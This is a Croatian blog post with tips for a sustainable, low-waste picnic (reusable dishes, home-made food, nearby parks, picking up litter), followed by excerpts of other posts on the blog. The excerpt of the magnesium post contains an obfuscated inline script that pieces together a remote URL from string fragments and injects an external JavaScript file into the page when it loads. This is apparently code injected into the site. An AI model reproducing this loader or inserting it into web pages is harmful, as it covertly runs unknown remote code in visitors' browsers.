KAKO ODRŽATI ODRŽIVI PIKNIK BEZ PUNO MUKE?





Kako održati održivi piknik bez puno muke?




Pred nama je produženi vikend. Punjač možda možete zaboraviti, ali dekicu za piknik teško. Čim krene prvi ozbiljan produženi vikend, javlja se ista ideja: Pobjeći negdje van grada, uhvatiti sunce, ponijeti nešto fino za jesti i nekoliko sati provesti vani bez rasporeda i iskreno, malo što zvuči bolje.






Održivi pinik

Više nije riječ samo o košari, bagetu i boci vina. Sve se više priča o održivom pikniku, ali ne na onaj naporni način gdje imate osjećaj da morate položiti ispit iz ekologije prije nego sjednete na travu. Više kao mali upgrade klasičnog izleta, uz nekoliko pametnih izbora zbog kojih će sve izgledati bolje, biti jednostavnije za organizaciju i ostaviti manje nereda iza vas.



Hrana

Prva stvar koja se nekako sama nameće je hrana. Održivi piknik uglavnom kreće od toga da ne kupujete pet stvari zasebno pakiranih u plastiku koje ćete otvoriti, pojesti napola i ostatak baciti. Puno bolje prolaze stvari koje možete pripremiti doma i ponijeti u posudama koje već imate. Tjestenina salata, sendviči od pravog kruha, voće koje se ne raspada odmah, domaći kolač narezan unaprijed. Iskreno, često ispadne i finije od impulzivne kupnje na benzinskoj usput.



Piće

Isto vrijedi za piće. Umjesto da svi donesu po nekoliko plastičnih bočica koje se kotrljaju po travi, puno je praktičnije uzeti jednu veću bocu vode, termosicu s ledenim čajem ili limunadom i nekoliko čaša koje ćete poslije samo oprati. Ne zvuči revolucionarno, ali kad ne skupljate praznu ambalažu po dekici sat vremena kasnije, shvatite poantu.



Jednokratno smeće

Onda dolazimo do stvari koje se često kupuju automatski, a realno vam ne trebaju. Jednokratni tanjuri, plastični pribor, papirnate salvete u količinama kao da organizirate festival. Ako već idete na piknik, uzmite normalan pribor od doma. Da, stvarno. Dva prava tanjura, nekoliko vilica, nož za rezanje i platneni ubrus izgledaju bolje, traju duže i ne stvaraju onu mini deponiju kraj vrećice za smeće.

U cijeloj toj priči puno se manje priča o onome što zapravo najviše kvari piknik, a to je pretrpavanje. Kao da postoji refleks da za svaki slučaj morate nositi sve. Tri vrste grickalica, dvije dekice, prijenosni zvučnik, društvene igre, rezervne majice, dodatnu torbu za “ako zatreba”, a onda pola toga ne koristite. Održivi piknik je često i samo manje stvari. Manje nošenja, manje otpada, manje kaosa.



Lokacija je važna

Možda zvuči banalno, ali lokacija isto radi razliku. Ako vozite sat vremena do livade koju ste vidjeli na Instagramu, a imate park deset minuta od stana, možda je održivija opcija doslovno bliže nego što mislite. U zadnje vrijeme sve više ljudi zapravo ponovno otkriva gradske parkove, jezera, šume na rubovima grada i lokalna izletišta. Nije sve u spektaklu. Nekad je poanta samo izaći van.

Jedna od boljih stvari kod održivog piknika je i to što ne mora izgledati asketski. Nitko ne govori da morate jesti humus iz staklenke i sjediti na recikliranom jastuku. Možete imati lijep setup, samo malo promišljeniji. Lanena dekica koju već imate. Staklena teglica s cvijetom ako vam se da. Hrana koja izgleda dobro jer je jednostavna. Taj clean, neopterećen vibe koji se sad ionako traži.



Preskočite svoj negativni utjeca na prirodu

Što preskočiti? Iskreno, dosta toga što se prodaje kao “piknik essentials”. Gotovi setovi za jednokratnu upotrebu. Mini dekoracije koje će vjetar odnijeti za tri minute. Pretjerivanje s hranom koje završi bacanjem. Kupovanje novih stvari samo zato što “treba za piknik”. Ako nešto već imate doma, vrlo vjerojatno je dovoljno.

Još jedna stvar koju vrijedi preskočiti je ostavljanje mjesta gorim nego što ste ga našli. Ako vam nije jasno na što mislimo, pogledajte bilo koji park nakon sunčanog vikenda. Papirići, čepovi, opušci, maramice. Održivi piknik zapravo često počinje i završava s tim da sve pokupite za sobom. Minimalan trud, ogroman efekt.



Održivost i komfor

Zanimljivo je kako se cijela ideja održivosti ovdje zapravo preklapa s komforom. Jer puno tih “zelenih” izbora nisu odricanje nego olakšanje. Manje kupnje, manje nošenja, manje otpada, manje čišćenja poslije i više uživanja. Možda je to razlog zašto održivi piknici postaju sve popularniji. Ne zato što ljudi odjednom žele biti savršeni u ekološkim navikama, nego zato što su shvatili da jednostavnije često stvarno funkcionira bolje. Kao i s toliko drugih stvari, manje kompliciranja često znači više gušta.

Pred produženim vikendom to je možda i najbolja ideja. Ne raditi od izleta projekt. Spakirati dovoljno, ali ne previše. Ponijeti hranu koju ćete stvarno pojesti. Preskočiti sve što će za dva sata završiti u smeću. Naći komad hlada, otvoriti nešto fino, leći na dekicu i pustiti da dan ide sporije.

Realno, ako se vratite kući s praznim posudama, bez vreće pune plastike i bez osjećaja da ste selili stan zbog tri sata na travi, vjerojatno ste napravili dobar piknik, a možda i održiviji nego što ste planirali.

Sretan vam 1. maj.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više